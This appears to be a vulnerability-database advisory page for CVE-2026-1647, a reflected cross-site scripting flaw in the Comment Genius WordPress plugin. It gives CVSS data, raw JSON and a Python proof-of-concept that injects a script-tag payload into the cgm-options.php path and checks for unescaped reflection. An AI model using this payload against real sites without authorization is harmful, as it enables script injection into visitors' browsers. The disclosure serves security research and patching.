Security Vulnerability Report
中文
CVE-2026-1647 CVSS 6.1 MEDIUM

CVE-2026-1647

Published: 2026-03-21 04:16:54
Last Modified: 2026-04-22 21:32:08

Description

The Comment Genius plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Comment Genius <= 1.2.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-1647 # This script demonstrates the Reflected XSS vulnerability via $_SERVER['PHP_SELF'] import requests def check_vulnerability(target_url): """ Checks if the target is vulnerable to CVE-2026-1647. """ # The vulnerable endpoint is typically cgm-options.php # The payload is injected into the path payload = '"><script>alert("CVE-2026-1647")</script>' # Construct the malicious URL # Example: http://target.com/wp-content/plugins/comment-genius/cgm-options.php/"><script>... exploit_url = f"{target_url}/wp-content/plugins/comment-genius/cgm-options.php/{payload}" try: response = requests.get(exploit_url, timeout=5) # Check if the payload is reflected in the response unescaped if payload in response.text: print(f"[+] Vulnerability Detected at: {exploit_url}") print("[+] The application reflects the input without proper sanitization.") return True else: print("[-] Vulnerability not detected or patch applied.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1647", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:54.113", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Comment Genius plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Comment Genius para WordPress es vulnerable a cross-site scripting reflejado a través del parámetro '$_SERVER['PHP_SELF']' en todas las versiones hasta la 1.2.5, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto posibilita que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si logran engañar a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/comment-genius/tags/1.2.5/cgm-options.php#L78", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/comment-genius/trunk/cgm-options.php#L78", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/comment-genius/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a922c2ad-77ec-4fa8-b997-fa7e85d96590?source=cve", "source": "[email protected]"}]}}